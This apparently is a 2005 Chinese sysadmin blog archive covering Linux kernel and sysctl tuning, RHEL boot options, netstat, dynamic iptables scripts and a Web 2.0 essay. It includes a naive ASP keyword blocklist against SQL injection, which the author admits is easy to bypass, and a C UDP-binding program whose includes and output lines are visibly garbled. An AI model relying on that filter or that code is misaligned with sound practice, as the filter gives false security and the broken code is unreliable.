同 IPv4。

/proc/sys/vm
/proc/sys/vm/buffermem
该文件控制用于缓冲区内存的整个系统内存的数量(以百分比表示)。它有三个值,通过把用空格相隔的一串数字写入该文件来设置这三个值。
用于缓冲区的内存的最低百分比
如果发生所剩系统内存不多,而且系统内存正在减少这种情况,系统将试图维护缓冲区内存的数量。
用于缓冲区的内存的最高百分比

缺省设置:2 10 60

/proc/sys/vm/freepages
该文件控制系统如何应对各种级别的可用内存。它有三个值,通过把用空格相隔的一串数字写入该文件来设置这三个值。
如果系统中可用页面的数目达到了最低限制,则只允许内核分配一些内存。
如果系统中可用页面的数目低于这一限制,则内核将以较积极的方式启动交换,以释放内存,从而维持系统性能。
内核将试图保持这个数量的系统内存可用。低于这个值将启动内核交换。

缺省设置:512 768 1024

/proc/sys/vm/kswapd
该文件控制允许内核如何交换内存。它有三个值,通过把用空格相隔的一串数字写入该文件来设置这三个值:
内核试图一次释放的最大页面数目。如果想增加内存交换过程中的带宽,则需要增加该值。
内核在每次交换中试图释放页面的最少次数。
内核在一次交换中所写页面的数目。这对系统性能影响最大。这个值越大,交换的数据越多,花在磁盘寻道上的时间越少。然而,这个值太大会因“淹没”请求队列而反过来影响系统性能。

缺省设置:512 32 8

/proc/sys/vm/pagecache
该文件与 /proc/sys/vm/buffermem 的工作内容一样,但它是针对文件的内存映射和一般高速缓存。

使内核设置具有持久性
这里提供了一个方便的实用程序,用于更改 /proc/sys 目录下的任何内核参数。它使您可以更改运行中的内核(类似于上面用到的 echo 和重定向方法),但它还有一个在系统引导时执行的配置文件。这使您可以更改运行中的内核,并将这些更改添加到配置文件,以便于在系统重新引导之后,这些更 改仍然生效。

该实用程序称为 sysctl,在 sysctl(8) 的联机帮助页中,对这个实用程序进行了完整的文档说明。sysctl 的配置文件是 /etc/sysctl.conf,可以编辑该文件,并在 sysctl.conf(8) 下记录了该文件。sysctl 将 /proc/sys 下的文件视为可以更改的单个变量。所以,以 /proc/sys 下的文件 /proc/sys/fs/file-max 为例,它表示系统中所允许的文件句柄的最大数目,这个文件被表示成 fs.file-max。

这个示例揭示了 sysctl 表示法中的一些奇妙事情。由于 sysctl 只能更改 /proc/sys 目录下的变量,并且人们始终认为变量是在这个目录下,因此省略了变量名的那一部分(/proc/sys)。另一个要说明的更改是,将目录分隔符(正斜杠 /)换成了英文中的句号(点 .)。

将 /proc/sys 中的文件转换成 sysctl 中的变量有两个简单的规则:
去掉前面部分 /proc/sys。
将文件名中的正斜杠变为点。

这两条规则使您能将 /proc/sys 中的任一文件名转换成 sysctl 中的任一变量名。一般文件到变量的转换为:

/proc/sys/dir/file --> dir.file
dir1.dir2.file --> /proc/sys/dir1/dir2/file

可以使用命令 sysctl -a 查看所有可以更改的变量和其当前设置。

用 sysctl 还可以更改变量,它所做的工作与上面所用的 echo 方法完全一样。其表示法为:

sysctl -w dir.file="value"

还是用 file-max 作为示例,使用下面两种方法中的一种将该值更改为 16384:

sysctl -w fs.file-max="16384"

或者:

echo "16384" > /proc/sys/fs/file-max

不要忘记 sysctl 不会将所做的更改添加到配置文件中;这要您用手工来完成。如果您希望在重新引导之后,前面所做的更改仍然有效,则必须维护这个配置文件。

注:不是所有的分发版都提供 sysctl 支持。如果您的特定系统属于这种情况,则可以用上面所描述的 echo 和重定向方法,将这些命令添加到启动脚本中,这样系统每次引导时,都会执行它们。

用于设置系统的命令
在系统运行的同时更改其它非内核系统参数,而且在不重新引导系统的情况下使这些设置生效,这种做法是可能的。在 /etc/init.d 目录中列出了包含这些参数的文件,它们主要按服务、守护程序和服务器来分类。由于越来越多各方面的脚本可以罗列在这个目录下,所以这里不可能讨论所有各种 配置。不过,下面列举了一些示例,这些示例讨论了如何在不同的 Linux 分发版上操作 /etc/init.d 下的脚本。这里的示例可能很有用,其中讨论了更改守护程序,然后在不重新引导系统的情形下重新装入配置:
更改 Web 服务器配置,然后重新装入 Apache
除去不需要的 inetd 登录服务
操作网络设置
通过 NFS 导出新的文件系统
启动/停止防火墙

首先,常见的方法是,直接通过 /etc/init.d 中的脚本来操作系统服务。这些脚本用参数来操作它们所控制的服务;可以通过输入脚本名但不带任何参数这种方法来查看有哪些有效的选项。常见的参数有:
start:启动已停止的服务
stop:停止正在运行的服务
restart:停止正在运行的服务,然后再重启该服务;它将启动已停止的服务
reload:在不中断任何连接的情况下,重新装入服务配置
status:报告服务处于运行状态,还是停止状态

例如,下面这条命令将在不终止任何已连接的用户会话的情形下,重新装入 xinetd 配置(如果您更改了 /etc/xinetd.conf,那么这条命令很有用):

/etc/init.d/xinetd reload

Red Hat 提供了 service 这条命令,它可以为您操作服务。service 命令提供的功能与输入脚本名本身的功能一样。它的语法如下所示:

service script-name [parameter]

例如:

service xinetd reload

SuSE 也提供名为 rc 的命令。该命令类似于上面的 service 命令,但该命令与脚本名之间没有空格。它的语法如下所示:

rc{ script-name } parameter

例如:

rcapache start

与更改内核参数类似,一旦重新引导系统,则对这些服务的更改将会丢失。现在越来越多的分发版开始采用 chkconfig 命令,它管理在各种运行级别下(包括引导时)启动的服务。在撰写本文时,chkconfig 命令的语法会因 Linux 版本的不同而略有差异,不过如果输入不带任何参数的命令 chkconfig,则会显示一个如何使用该命令的列表。也可以通过 chkconfig(8) 的联机帮助页找到更多有关 chkconfig 的信息。
http://www-900.ibm.com/de......n/linux/l-adfly/index.shtml'

Posted by vitter at 2005-11-24 15:32:19 | 评论 (0) | 引用

November 21, 2005

红帽企业 Linux 4启动引导选项


也适合其他分发产品
引导时的命令参数
askmethod
该命令请你选择从红帽企业 Linux 光盘中引导时你想使用的安装方法。
apic
这个 x86 引导命令绕过在 Intel 440GX 芯片集 BIOS 中可能会普遍遇到的错误,它只应该使用安装程序内核来执行。
apm=allow_ints
这个 x86 引导命令改变挂起服务的处理方式(对于某些便携电脑来说可能是必要的)。
apm=off
这个 x86 引导命令禁用 APM(高级电源管理)。它很有用处,因为某些 BIOS 的电源管理(APM)问题重重,很容易崩溃。
apm=power_off
这个 x86 引导命令会使红帽企业 Linux 默认关闭(断电)系统。它对于不默认关闭的 SMP 系统来说有用。
apm=realmode_power_off
某些 BIOS 在基于 x86 的系统试图关闭(断电)机器时崩溃。该命令把操作方法从 Windows NT 方式改为 Windows 95 方式。
dd
这个参数会导致安装程序提示你使用驱动程序盘。
dd=url
这个参数会导致安装程序提示你使用来自指定 HTTP、FTP、或 NFS 网络地址的驱动程序映像。
display=IP:0
该命令允许远程显示转发。其中,IP 应该用你想充当显示系统的 IP 地址替换。
在你想用来显示的系统上,你必须执行 xhost +remotehostname 命令,这里的 remotehostname 是你运行显示命令的主机名称。使用 xhost+remotehostname 命令限制了对远程显示终端的访问,而且不允许来自没有被确切授予远程访问权的人员和系统的访问。
driverdisk
该命令执行的功能和 dd 命令相同,它还会在红帽企业 Linux 安装中提示你使用驱动程序盘。
ide=nodma
该命令禁用所有 IDE 设备上的 DMA,在遇到 IDE 相关的问题时可能有用。
linux upgradeany
该命令会放松对你的 /etc/redhat-release 文件的某些检查。如果你的 /etc/redhat-release 文件已从默认内容被改变了。在试图升级红帽企业 Linux 4 时就可能会找不到你的红帽企业 Linux 安装。只有在你现存的红帽企业 Linux 安装没有被检测到时才使用该选项。
mediacheck
该命令给你提供测试安装源完好性的机会(如果使用的是基于 ISO 的方法)。该命令可用于光盘、DVD、硬盘 ISO、和 NFS ISO 安装方法。在试图安装前先校验ISO 映像的完整性会帮助你避免在安装中经常遇到的问题。
mem=xxxM
该命令允许你改变内核在机器上检测到的内存数量。在某些较老的仅能检测到 16MB 内存的系统上,以及某些较新的视频卡与主内存共享视频内存的机器上,你可能需要使用该命令。当执行这项命令时,xxx 应该用以 M 为单位的内存数量替换。
nmi_watchdog=1
该命令启用内建的内核死锁检测器。它可以用来调试硬性内核锁定。通过执行定期的 NMI(不可屏蔽中断)中断,内核可以监控 CPU是否被锁,并在需要时打印出调试消息。
noapic
这个 x86 引导命令告诉内核不要使用 APIC 芯片。它对于某些带有不良 APIC(如 Abit BP6)或错误重重的 BIOS 的母板有帮助。基于 NVIDIA nForce3芯片集(如 ASUS SK8N)的系统有一个已知的问题。它在引导时间 IDE 探测时会挂起,或显示其它中断发送的问题。
noht
这个 x86 引导命令禁用超线程。
nofb
该命令禁用帧缓冲支持,允许安装程序在文本模式中运行。它可能是带有某些读屏硬件的辅助功能所必需的。
nomce
这个 x86 引导命令禁用在 CPU 上执行的自我诊断检查。内核默认启用 CPU 的自我诊断(称为机器检查意外,Machine Check Exception)。在一些早期的 Compaq Pentium系统上,你可能需要这个选项,因为它们不能正确支持处理器错误检查。几个其它便携电脑,尤其是那些使用 Radeon IGP 芯片集的便携电脑,可能也需要这个选项。
nopass
该命令禁止把键盘和鼠标信息传递给安装程序的第二阶段。当执行网络安装时,它可以用来在安装的第二阶段测试鼠标和键盘配置屏幕。
nopcmcia
该命令忽略系统上的任何 PCMCIA 控制器。
noprobe
该命令禁用硬件检测,相反,它提示用户来提供硬件信息。
noshell
该命令禁止在安装时进入第二虚拟控制台上的 shell。
nousb
该命令禁止在安装中载入 USB 支持。如果安装程序在进程早期容易挂起,该命令就能够起到作用。
nousbstorage
该命令在安装程序的载入程序中禁止载入 usbstorage 模块。它对 SCSI 系统上的设备排序可能有帮助。
numa=off
红帽企业 Linux 支持 AMD64 体系上的 NUMA(Non-Uniform Memory Access,不规范内存存取)。 虽然所有 CPU 能够存取不带 NUMA支持的内存,在更新内核中存在的 NUMA 支持却能够导致内存分配尽可能地偏向于引发它们的 CPU,从而减少 CPU间的内存交通。这能够在某些应用程序中显著地提高性能。要恢复到原始的无 NUMA 行为,指定这个引导选项。
reboot=b
这个 x86、AMD64 和 Intel? EM64T 命令改变内核试图重新引导机器的方式。如果系统关闭时内核被挂起,该命令会导致系统被成功地重新引导。
rescue
该命令将会运行救援模式。关于救援模式的详细信息,请参阅《红帽企业 Linux 系统管理指南》。
resolution=
告诉安装程序要运行哪种视频模式。它接受所有标准的分辨率,如 640x480、800x600、1024x768 等等。
serial
该命令启用串行控制台支持。
skipddc
这个 x86 引导命令跳过 ddc 显示器探测,这种探测在某些系统上会导致问题。
text
该命令禁用图形化安装程序,并强制安装程序在文本模式下运行。
updates
该命令会提示你插入包含更新(错误修正)的软盘。如果你执行的是网络安装,并且已把更新映像存放在服务器上的 RHupdates/ 目录下,则不需要使用该命令。
vnc
该命令允许你从 VNC 服务器中安装。
vncpassword=
该命令设置用来连接 VNC 服务器的口令。

Posted by vitter at 2005-11-21 11:24:30 | 评论 (0) | 引用

October 18, 2005

Netstat又多出了一个新参数

自netstat增加了- o参数后,Win2003 SP1又增加了一个新的参数- b,可以显示出进程名了。

C:\>netstat /?

显示协议统计信息和当前 TCP/IP 网络连接。

NETSTAT [-a] [-b] [-e] [-n] [-o] [-p proto] [-r] [-s] [-v] [interval]

-a 显示所有连接和监听端口。
-b 显示包含于创建每个连接或监听端口的
可执行组件。在某些情况下已知可执行组件
拥有多个独立组件,并且在这些情况下
包含于创建连接或监听端口的组件序列
被显示。这种情况下,可执行组件名
在底部的 [] 中,顶部是其调用的组件,
等等,直到 TCP/IP 部分。注意此选项
可能需要很长时间,如果没有足够权限
可能失败。
-e 显示以太网统计信息。此选项可以与 -s
选项组合使用。
-n 以数字形式显示地址和端口号。
-o 显示与每个连接相关的所属进程 ID。
-p proto 显示 proto 指定的协议的连接;proto 可以是
下列协议之一: TCP、UDP、TCPv6 或 UDPv6。
如果与 -s 选项一起使用以显示按协议统计信息,proto 可以是下列协议
之一:
IP、IPv6、ICMP、ICMPv6、TCP、TCPv6、UDP 或 UDPv6。
-r 显示路由表。
-s 显示按协议统计信息。默认地,显示 IP、
IPv6、ICMP、ICMPv6、TCP、TCPv6、UDP 和 UDPv6 的统计信息;
-p 选项用于指定默认情况的子集。
-v 与 -b 选项一起使用时将显示包含于
为所有可执行组件创建连接或监听端口的
组件。
interval 重新显示选定统计信息,每次显示之间
暂停时间间隔(以秒计)。按 CTRL+C 停止重新
显示统计信息。如果省略,netstat 显示当前
配置信息(只显示一次)

Sample:
C:\>netstat -anob

Active Connections

Proto Local Address Foreign Address State PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 3140 W3SVC [svchost.exe]

Posted by vitter at 2005-10-18 15:36:44 | 评论 (0) | 引用

September 30, 2005

动态iptables防火墙:dynfw

防火墙是一个非常重要的网络安全工具,但是如果在需要对防火墙规则进行快速、复杂的动态修改时你该如何实现呢?如果你使用本文介绍的Daniel Robbins 的动态防火墙脚本,这将是一件非常容易的工作。你可以利用这些脚本来增强你网络的安全性和对网络攻击的实时响应性,并基于该脚本进行自己的创造性设计。
理解动态防火墙的脚本能够带来的益处的最好方法就是看它们在实际中的应用。假设我是某个ISP的系统管理员,我最近架设了一个基于Linux的防火墙来保护我的客户和内部系统,防止外部恶意用户的攻击。为了实现该系统我使用了新版Linux2.4内核的iptables工具来实现,防火墙允许客户和内部服务器向Internet建立连接,也允许从Internet向内部系统的公共服务如web服务器、ftp服务器等建立新的连接。由于这里我使用了默认拒绝任何服务,只开放允许的服务的策略,因此从Internet到非公共服务如squid的代理服务、samba服务的连接是被拒绝的。目前我已经有了一个功能完备的、满足安全需求的防火墙系统,其能对ISP的所有用户提供很好的保护。
刚刚开始的一个星期防火墙工作情况良好,但是随后一些糟糕的事情发生了。Bob-一个攻击者对我的网络进行了攻击,它采用了使用垃圾数据报淹没我的ISP网络的方法来对我的客户进行Dos攻击。不幸的是Bob已经对我的防火墙进行了仔细的研究,知道虽然我对内部服务进行了保护但是25端口和80端口都是开放的以收发Emai和开放www服务。Bob决定对我的Email和WWW服务器进行Dos的攻击。
Bob开始攻击的1-2分钟以后我发现我的线路出现严重的拥塞情况。通过tcpdump察看我发现这是Bob进行的一次攻击。并且我得到了它的攻击源地址。现在我就需要阻止这些IP地址对我的公共服务器的连接。下面我就讨论一种简单方便的解决方案。

阻止攻击

我马上采取行动,加载我的防火墙启动脚本并使用vi对 iptables 规则进行编辑,来阻塞这些Bob发出的恶意攻击数据的源地址的数据报。大约一分钟以后我找到了在防火墙启动脚本中添加新的DROP规则的位置,我马上添加了新的规则并重新启动了防火墙。很快防火墙发挥了作用,Bob的攻击得到了遏制。现在看起来我成功的击溃了Bob的攻击,可是不久网络值班电话又响了起来,原来是客户发现网络不可用而打过来的投诉电话。可是更加糟糕的是几分钟以后我注意到我的Internet连接线路又开始出现严重阻塞。我仔细察看原来是Bob使用了新的IP地址进行攻击行动。我只好不得不再次修改防火墙启动脚本来阻止它的攻击。我就这样一直在Bob的屁股后面疲于奔命。
问题出在哪里呢?虽然我建立了功能完备的、满足安全需求的防火墙系统并且快速的发现了网络出现问题的原因,但是我却不能在第一时间内对我的防火墙规则进行调整来响应Bob的攻击。当网络被攻击时,被动慌乱地快速对攻击做出防范反应,对防火墙规则配置脚本进行修改不但是压力巨大,而且效率低下。

ipdrop

如果能创建一个特殊的"ipdrop"脚本,其被设计为能方便地插入一个规则来阻塞指定的IP,那么将上面的工作将非常容易。通过该脚本阻塞某个IP将是非常容易的工作,只需要几秒钟就可以实现。而且通过该脚本还可以防止手工加入规则时容易出现的错误。因此阻塞Bob的攻击将变为确定其攻击源地址。然后通过如下命令:

# ipdrop 129.24.8.1 on
IP 129.24.8.1 drop on.
ipdrop脚本将立即阻塞129.24.8.1。通过使用该脚本能显著地提高你的防卫能力。下面就是ipdrop脚本的实现:
The ipdrop bash script

#!/bin/bash
source /usr/local/share/dynfw.sh
args 2 $# "${0} IPADDR {on/off}" "Drops packets to/from IPADDR. Good for obnoxious networks/hosts/DoS"
if [ "$2" == "on" ]
then
#rules will be appended or inserted as normal
APPEND="-A"
INSERT="-I"
rec_check ipdrop $1 "$1 already blocked" on
record ipdrop $1
elif [ "$2" == "off" ]
then
#rules will be deleted instead
APPEND="-D"
INSERT="-D"
rec_check ipdrop $1 "$1 not currently blocked" off
unrecord ipdrop $1
else
echo "Error: "off" or "on" expected as second argument"
exit 1
fi
#block outside IP address thats causing problems
#attackers incoming TCP connections will take a minute or so to time out,
#reducing DoS effectiveness.
iptables $INSERT INPUT -s $1 -j DROP
iptables $INSERT OUTPUT -d $1 -j DROP
iptables $INSERT FORWARD -d $1 -j DROP
iptables $INSERT FORWARD -s $1 -j DROP
echo "IP ${1} drop ${2}."

ipdrop:解释

从上面的脚本源代码中最后四行内容可以看到实际的命令是在防火墙表中插入适当的规则。可以看到$INSERT变量的值取决于在命令行参数中是使用"on"还是"off"模式。当iptables行被执行时特定的规则将被适当的插入或删除。
现在我们看看这些规则本身的功能,它们能和任何类型的防火墙一起发挥作用,甚至在没有部署防火墙的系统上。需要的条件仅仅是支持iptables的Linux2.4版本的内核。我们阻塞来自恶意IP的攻击数据报(第一条iptables语句),阻塞发向恶意攻击IP的数据报(第二条iptables语句),并且对该IP关闭任意方向的数据转发(最后两条iptables工具)。一旦这些规则发挥作用系统将丢弃满足这些条件的任何数据报。
另外一个需要注意的是:脚本中调用了"rec_check", "unrecord", "record",和"args"。这些都是定义在"dynfw.sh"中的特殊的bash函数。"record"函数实现将被阻塞的IP记录在文件/root/.dynfw-ipdrop文件中,而"unrecord"则是将其从文件/root/.dynfw-ipdrop中去除。"rec_check"函数是在发现试图重新阻塞某个已经阻塞的IP地址或取消某个没有被阻塞的IP地址时输出错误信息并停止脚本执行。"args"函数实现确保命令行参数的正确性,并实现打印脚本帮助命令。文件dynfw-1.0.tar.gz包含所有的这些工具,具体情况请见文章最后的资源部分。

tcplimit

如果你需要对某个特殊的基于TCP的网络服务的使用进行限制(例如在端系统上产生严重负载时),则tcplimit脚本则可以帮助你达到这个目的,该脚本使用TCP端口、一个率值和"on"或"off"作为参数:

# tcplimit 873 5 minute on
Port 873 new connection limit (5/minute, burst=5) on.

tcplimit使用iptables的"state"模块(应确保在内核中打开该选项或加载模块)来实现在某段时间内只允许特定数目的连接请求通过。在本例中防火墙将限制每分钟只允许5个新连接到我的rsync服务器(port 873)。当然你可以根据需要选择时间单位为秒钟/分钟/小时。
tcplimit提供了一个限制对非关键服务的使用的非常好的方法-这样大量到非关键服务的数据不会破坏服务器。在上面的例子中使用tcplimit来设置使用rsync的限制,以防止tsync数据占用了Internet连接的所有带宽。其中连接服务限制信息记录在文件/root/.dynfw-tcplimit中。若想关闭该限制只需要键入如下命令:

# tcplimit 873 5 minute off
Port 873 new connection limit off.

tcplimit通过在"filter"表中创建一个新的规则链来实现。这个新的规则链将拒绝所有超过指定限制的数据报,同时将一个规则插入到INPUT规则链中,其将所有的到目标端口(在本例中是873端口)的新连接数据报定向到这个新的规则链。新规则链只会影响新的超过限制的连接而不会影响已经建立的连接。
当tcplimit定义的规则被关闭,INPUT规则和新规则链则会被删除。象ipdrop一样其tcplimit可以和任何类型的防火墙一起工作。

host-tcplimit

host-tcplimit和tcplimit非常类似,但是它是限制来自一个特定的IP的到服务器上某个特定端口的TCP连接数量。host-tcplimit在防止某个特定的人滥用你的网络资源时非常有用处。例如你维护有一个CVS服务器,有一天突然发现一个特殊的新开发者出现了,他好像建立了一个脚本每十分钟更新它的资源。占用了大量的网络资源。然后你就给他发送信件说明他的行为的错误之处。但是你收到他如下的回信:

Hi guys!
Im really excited to be part of your development project. I just set up a
script to update my local copy of the code every ten minutes. Im about to
leave on a two-week cruise, but when I get back, my sources will be totally
up-to-date and Ill be ready to help out! Im heading out the door now...see
you in two weeks!

Sincerely,
Mr. Newbie
对于这种情况,使用host-tcplimit可以非常容易的解决问题:

# host-tcplimit 1.1.1.1 2401 1 day on

现在Newbie先生(IP地址为1.1.1.1)被限制为每天只能进行一次CVS连接从而节省了网络带宽。

user-outblock

最后一个,也是这几个防火墙脚本中最有趣的是user-outblock。这个脚本提供了一种实现允许某个用户通过SSH或telnet登录到系统上但是不允许它通过命令行命令建立向外连接去的一个很理想的方法。下面是一个应用user-outblock的一个示例场合。假设一个特殊的家庭在我们的ISP拥有一个账号。妈妈和爸爸使用图形化的email客户端程序阅读自己的信件,偶尔会冲浪Internet,但是他们的儿子却是一个热衷的hacker分子,他常常使用它的shell访问权限来对其他的机器做一些淘气的事情。
有一天你发现他和若干系统建立ssh连接,发现目标地址是属于巴基斯坦军事网站。你希望帮助这个小孩子走向正道,因此你采取了以下的行动:
首先,你检查自己的系统并确保去掉了所有和网络相关的程序的suid位,例如ssh:

# chmod u-s /usr/bin/ssh
现在他企图使用的任何和网络相关的进程都会拥有自己的UID。你现在可以使用user-outblock来阻塞所有该UID发出的的向外TCP连接(假设其UID为2049):

# user-outblock 2049 on
UID 2049 block on.

现在他只能登录到系统中阅读自己的信件,但是他不能使用你的服务器建立SSH连接。

资源

  * 由于发现动态这些防火墙脚本非常有用,因此将它们打包(http://www.vfocus.net/blog/archives/tools/dynfw-1.0.tar.gz)以供下载安装。
  要进行安装只需要解压缩包,运行其中的install.sh文件。该脚本将安装一个共享bash脚本为/usr/local/share/dynfw.sh,并且安装动态防火墙脚本到/usr/local/sbin目录下。若希望安装在其他脚本中,则只需要在执行install.sh以前执行:
# export PREFIX=/usr
  还可以在dynamic firewall scripts section to the Gentoo Linux Web site下载dynfw的最新版本1.0.1

  * tcpdump是一个非常重要的探测底层的IP报交换的工具,使用它可以验证防火墙工作是否正常。

Posted by vitter at 2005-09-30 14:46:29 | 评论 (1) | 引用

September 16, 2005

通用SQL防注入代码

前2天看他们网站的代码有注入,经过修改还没完全搞定,最后用了个比较笨的东西,暂时弄上。

  编写通用的SQL防注入程序一般的http请求不外乎get 和 post,所以只要我们在文件中过滤所有post或者get请求中的参数信息中非法字符即可,所以我们实现http 请求信息过滤就可以判断是是否受到SQL注入攻击。
  IIS传递给asp.dll的get 请求是是以字符串的形式,,当 传递给Request.QueryString数据后,asp解析器会分析Request.QueryString的信息,,然后根据"&",分出各个数组内的数据所以get的拦截如下:

  首先我们定义请求中不能包含如下字符:

'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare


  各个字符用"|"隔开,然后我们判断的得到的Request.QueryString,具体代码如下 :

<%
'----实现get请求的注入的拦截-----
dim sql_injdata,Sql_Inj,SQL_Get,Sql_DATA
SQL_injdata = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"
SQL_inj = split(SQL_Injdata,"|")
If Request.QueryString<>"" Then
For Each SQL_Get In Request.QueryString
For SQL_Data=0 To Ubound(SQL_inj)
if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 Then
Response.Write "<Script Language=JavaScript>alert('来自梦小小的友情提示:很小的时候妈妈就跟我说:“不是你的东西不要打主意!“');history.back(-1)</Script>"
Response.end
end if
next
Next
End If

'----我们还要过滤post请求,所以我们还得继续考虑request.form,这个也是以数组形式存在的,我们只需要再进一次循环判断即可-----

If Request.Form<>"" Then
For Each Sql_Post In Request.Form
For SQL_Data=0 To Ubound(SQL_inj)
if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 Then
Response.Write "<Script Language=JavaScript>alert('来自梦小小的友情提示:很小的时候妈妈就跟我说:“不是你的东西不要打主意!“');history.back(-1)</Script>"
Response.end
end if
next
next
end if
%>

  好了大功告成,我们已经实现了get和post请求的信息拦截,你只需要在conn.asp之类的打开数据库文件之前引用这个页面即可

这个没有什么大用处,人家可以用chr函数,但是能防止一些工具:(

Posted by vitter at 2005-09-16 15:39:40 | 评论 (0) | 引用

September 13, 2005

这个是用Zempt发表的

测试下,这个工具8错,主要是针对MT的,就是对中文编辑不太舒服.官方下载见附:

http://www.zempt.com/还支持音乐的编辑:)最新版本0.4

Posted by vitter at 2005-09-13 17:56:10 | 评论 (2) | 引用

firefox的优化

首先在浏览器地址栏里输入“about:config”,等系统调用完毕之后按照下列步骤:更改 "network.http.pipelining" 为 ture ;更改 "network.http.proxy.pipelining" ture ;更改 "network.http.pipelining.maxrequests"为30,意思是同时可以接受30条申请.

Posted by vitter at 2005-09-13 15:59:03 | 评论 (0) | 引用

阻塞指定udp端口


/***********************
*Module:BindUdpPort.c
*author:ey4s
*功能:阻塞指定udp端口
*modify:swords@逐浪思维
************************/
#include
#include
#pragma comment(lib,"ws2_32.lib")

int main(int argc,char **argv)
{
WSADATA wsd;
int iRet,i,j,
iStart=0,iEnd=0;
static const MaxNum=15;
struct sockaddr_in addr;
SOCKET s[MaxNum];
if(argc!=3)
{
cout<<"\n\n*************BindUdpPort by SworDs*****************\n\n";
cout<<"注意:最多只能绑顶15个端口"< cout<<"Usage: "< "< return 1;
}
else
{
iStart=atoi(argv[1]);
iEnd=atoi(argv[2]);
}

//load winsock library
iRet=WSAStartup(MAKEWORD(2,2),&wsd);
if(iRet!=0)
{
cout<<"WSAStartup failed:"< }
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=INADDR_ANY;

for(i=iStart,j=0;i<=iEnd;i++,j++)
{
while(j>=MaxNum) ;
//创建一个UDP socket
s[j]=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
if(s[j]==INVALID_SOCKET)
cout<<"Create UDP socket"< addr.sin_port=htons(i);
//bind udp socket
iRet=bind(s[j],(struct sockaddr *)&addr,sizeof(addr));
if(iRet==SOCKET_ERROR)
{
cout<<"Bind UDP port "< continue;
}
else
cout<<"Bind UDP port "< }
while(j }

Posted by vitter at 2005-09-13 11:17:55 | 评论 (0) | 引用

Web2.0--用户体验型的网络服务

Web2.0--用户体验型的网络服务

Web 2.0是什么?

有家网站就叫what's web 2.0。不过,那里并不能回答你,他只是一个社区,讨论Web2.0的商业、技术和研究。

Wikipedia中关于web2.0的描述也是模糊的。keso说道:“Web 2.0不过是一种从现象中抽象出来的概念”,是什么概念,他也没有说。正是大家都不知道这个概念,所以每个人对Web2.0的理解不同。老冒认为是一些老技术的融合来骗取VC的、周天舒认为“Web 2.0则是以人为中心互联网”。这种局面正如建硕提到的,Web 2.0是一个行业术语,大部份人认为Web 2.0=RSS + Blog + SNS + (任何新的网络名词)...

这不是让人迷惑了吗?是不是所有新出现的东西都归功于Web 2.0,互联网的变化本来就是逐步的,到现在真就发生变革了吗?Blog、RSS出现在我们身边出现已经不止一年,为什么现在要给他冠以Web 2.0?

我的观点是:Web 2.0是代指所有用户体验型的网络服务,这句话有2个重点,用户体验型和网络服务。

网络服务不是指技术上常说的Web Services,他泛指一切在互联网上提供个性化服务的应用。如果没有好的服务,就根本不会有用户。有了用户,我们也需要考虑服务是否是他们愿意使用的,服务最终来自需求。

注重用户体验是Web 2.0被经常提起的主要原因。这不仅仅是因为用户可以来参与,更多地是因为互联网服务更加人性化和个性化。Google精简的界面和搜索排序、Flickr随心的功能排放、del.icio.us的右键提交等等都说明了用户体验的重要性。

我们需要什么网络服务?

其实Zheng在学习Web 2.0 (二) 中已经提到

微内容:英文是microcontent。用户所生产的任何数据都算是微内容,比如一则网志,评论,图片,收藏的书签,喜好的音乐列表、想要做的事情,想要去的地方、新的朋友等等。这些微内容,充斥着我们的生活、工作和学习,它的数量、重要性,还有我们对它的依赖,并不亚于那些道貌岸然、西装革履的正统文章、论文、书籍。

对微内容的重新发现和利用,是互联网所开创的平等、民主、自由风气的自然衍生,也是互联网相关技术消减信息管理成本之后的一个成果。

我们每天都生产众多的微内容,也消费着同样多的微内容。对于Web 2.0来说,如何帮助用户管理、维护、存储、分享、转移微内容,就成了关键。

拿软件作比方,有了Windows操作系统,为什么我们还离不开winzip、acdsee。现在门户提供给我们的服务远远不够,现在需要多的事情太多了,就看你是否做得最好。这样的例子很多:

  • 因为大家要收藏网页和图片,所以有了del.icio.us、furl、Flickr、365key
  • 因为大家喜欢读书,所以有了豆瓣、读秀
  • 因为需要阅读RSS资源,所以有了Bloglines、Rojo、Feedburner
  • ......

    未来的网络服务一定是从这些微内容中产生。

    技术是根、用户体验为本

    提到Web2.0,大部分会提到Web2.0是用户参与,其实,用户参与在过去、现在和将来都一直存在,不是Web2.0的主要特征。且看《Google成功的七堂课》中的第四课“以用户体验为念”中提到一段话:

    Google斯巴达式的网站,以精简的“菜单”上线,不收费,不鼓励你流连忘返,不用广告打扰你、不卖产品。设计的主旨是尽快让你查到信息链接,尽快离开。

    谁不希望用户访问你的网站更多一点,最好是把每篇文章分成10页。“快点离开我”,这是以前网站所不能理解的,现在Google依靠口口相传访问量比别的网站都大。在Yahoo们拼命转型为门户的同时,Google却在搜索技术和用户体验上精益求精。

    从我看来,目前web 2.0提出的一些新老技术都是为了更好地提高用户体验。对这些技术,以下逐个做些标注。

    RSS -- 这是XML格式的子集,约定的一些固定标签让阅读器来识别。同时利于数据交换。
    好处: 1) 用户可以订阅RSS,定向了解信息
    2) 开发者可以把RSS作为数据源接口
    局限: 1) 目前1.0,2.0的格式差别很大, 部分阅读器不兼容.
    2) RSS固定的那些标签有时候不够用,比如传输图片等等.
    建议: 只要不影响网站性能,尽可能多地地方使用
    用户体验: 只要知道信息源, 就可以定向获取信息, 信息更畅通, 节省了门户的中转过程.

    Trackback -- 有2种情况,接收Trackback和发送Trackback。接收Trackback是指对方发送过来的消息进行保存和显示,发送Trackback相对复杂,需要分析正文中的链接,逐个抓取页面,分析是否含RDF标志,如果有,提取其中的Trackback地址,再对Trackback地址发送消息。
    好处: Trackback形成一个回路,让引用者通知被引用者,这样便于追查话题走向。
    局限:1) Trackback实现消耗资源,很多Blog系统已经屏蔽
    2) Trackback Spam是令人头痛的东西
    建议: 一般最终页面最好提供Trackback的接收操作,让Trackback走出Blog的这个圈子。
    用户体验: 知道了谁在引用, 就能更多地引起讨论并发现志同道合者.

    Tag -- 技术上来讲就是多分类,功能设计上就是能够最方便地让用户对文档进行归属
    好处: 1) 分类更容易,用户会更喜欢使用
    2) 有了Tag归属,查找、联合查找更方便
    局限: 1) Tag同义词等更多语义的元素还需要研究
    2) Tag Spam也是令人头痛的东西
